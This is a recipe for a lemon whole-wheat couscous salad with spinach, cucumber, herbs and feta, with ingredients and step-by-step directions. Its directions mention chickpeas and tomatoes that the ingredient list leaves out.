Ingredients:
1 cup uncooked whole wheat couscous
Zest & juice of one lemon
2 cups baby spinach
1 teaspoon extra virgin olive oil
1 ¼ cup boiling water
2 regular cucumbers or 1 hothouse English cucumbers
1 tablespoon fresh parsley
1 teaspoon fresh oregano

2 tablespoons extra virgin olive oil
¼ cup low fat feta cheese
Sea salt & pepper
Directions:
Pour boiling water over uncooked whole wheat couscous, zest & juice of lemon, baby spinach and 1 teaspoon extra virgin olive oil. Stir to combine. Then place lid on and let mixture sit until couscous absorbs all water (about five minutes).
Meanwhile, deseed cucumbers (if using regular cucumbers- there is no need to de-seed English cucumbers if using) then dice cucumbers. Finely chop the parsley & oregano. Mix cucumbers, parsley, oregano and chickpeas set aside.
Quarter tomatoes, and then set aside.
Once couscous has absorbed water, fluff couscous with a fork, then in a large bowl combine fluffed couscous with cucumber/chickpea mixture. Then gingerly toss in tomatoes and feta cheese. Taste then season as needed with salt & pepper. (Remember that feta lends a salty flavor to things- taste before adding salt.)
